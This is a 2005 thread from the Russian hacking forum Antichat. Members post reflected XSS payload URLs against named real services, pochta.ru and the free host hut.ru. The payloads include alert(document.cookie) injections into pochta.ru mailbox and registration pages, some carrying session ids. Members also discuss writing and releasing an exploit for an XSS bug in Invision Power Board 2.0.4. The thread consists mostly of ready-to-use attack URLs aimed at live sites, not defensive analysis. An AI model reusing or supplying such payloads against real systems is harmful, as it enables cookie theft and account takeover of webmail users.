Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
25.06.2005, 00:17
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463
Репутация:
2258
|
|
XSS почта.ру, hut.ru
1) Нашел на почта.ру вот
Код:
http://www.pochta.ru/info.php?lng=&mid="><script>alert('XSS by m0nzt3r');</script>
если ее ктото находил уже то извиняюсь...
2) и еше один на hut.ru (это бесплатный хостинг)
Код:
http://register.hut.ru/cgi-bin/sp.cgi?fqdn="<script>alert('XSS by m0nzt3r');</script>
=))
недаром говорят что все бесплатное бывает дыряво..
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
25.06.2005, 10:39
|
|
Новичок
Регистрация: 17.05.2005
Сообщений: 22
Провел на форуме:
34274
Репутация:
0
|
|
я на Ipb 2.0.4 нашел Xss пока сейчас пишу сплоит на него !
Думаю наднях будет релиз и видео
|
|
|
|
26.06.2005, 23:03
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463
Репутация:
2258
|
|
Во! молодец значит 2.0.4 тож дырявая..на чем пишешь сплойт и как далеко можно использовать эту багу?
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
|
28.06.2005, 07:35
|
|
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063
Репутация:
429
|
|
на Xss сплоит????
Странно а сплоит для чего не понял?
Или он будет админа заманивать? =)
|
|
|
|
05.07.2005, 20:33
|
|
[ розовый мафиозо ]
Регистрация: 16.03.2005
Сообщений: 301
Провел на форуме:
1736355
Репутация:
241
|
|
Morph, под сплойтом в данном случае имеется ввиду полноценный скрипт.
|
|
|
|
07.07.2005, 13:59
|
|
Новичок
Регистрация: 17.05.2005
Сообщений: 22
Провел на форуме:
34274
Репутация:
0
|
|
PinkPanther ага ты прав. Думаю на днях опубликую багу =)
|
|
|
|
07.07.2005, 16:23
|
|
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063
Репутация:
429
|
|
А терь понял ступил малась =))
ИМХО.Но все же не сплоит тогда код уж.
|
|
|
|
13.07.2005, 02:54
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233
Репутация:
2726
|
|
|
|
|
|
13.07.2005, 22:54
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463
Репутация:
2258
|
|
эээ Клез а я обрадовался ))))))) это когда в админке добавяешь форумы то в комментах к ним теги не фильтрируются =))) так как комменты можно писать из админки то следовательно для проведения хсс надо быть админом )) а если ты админ то нафиг тебе хСС?))))))))))) у меня прошло на 2.0.3 нуленой версии у Клеза на 2.0.4 наверно есть во всех версиях ))
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
Последний раз редактировалось m0nzt3r; 13.07.2005 в 22:58..
|
|
|
|
18.07.2005, 18:45
|
|
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063
Репутация:
429
|
|
http://www5.pochta.ru/list.php?id=N1..._create=%CE%EA
http://www3.pochta.ru/list.php?lng=en&id=N71e37161bc49873482fcf68b3e497f 5&aid=%22%3Cscript%3Ealert(document.cookie)%3C/script%3E&rid=%3Cscript%3Ealert(document.cookie)%3 C/script%3E
http://www10.pochta.ru/mailbox.php?lng=%22%3Cscript%3Ealert(document.cook ie)%3C/script%3E&id=Nd558588a9be04bfdf2a54ea6ea0ce32
http://www10.pochta.ru/mailbox.php?id=Nd558588a9be04bfdf2a54ea6ea0ce32&ch set=%22%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www10.pochta.ru/info.php?sid=&lng=&mid=%22%3Cscript%3Ealert(docume nt.cookie)%3C/script%3E
http://www10.pochta.ru/regform.php?sid=3beff5fe76e261870e27716b82a73162&l ng=%22%3Cscript%3Ealert(document.cookie)%3C/script%3E&rnd=%3Cscript%3Ealert(document.cookie)%3 C/script%3E
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
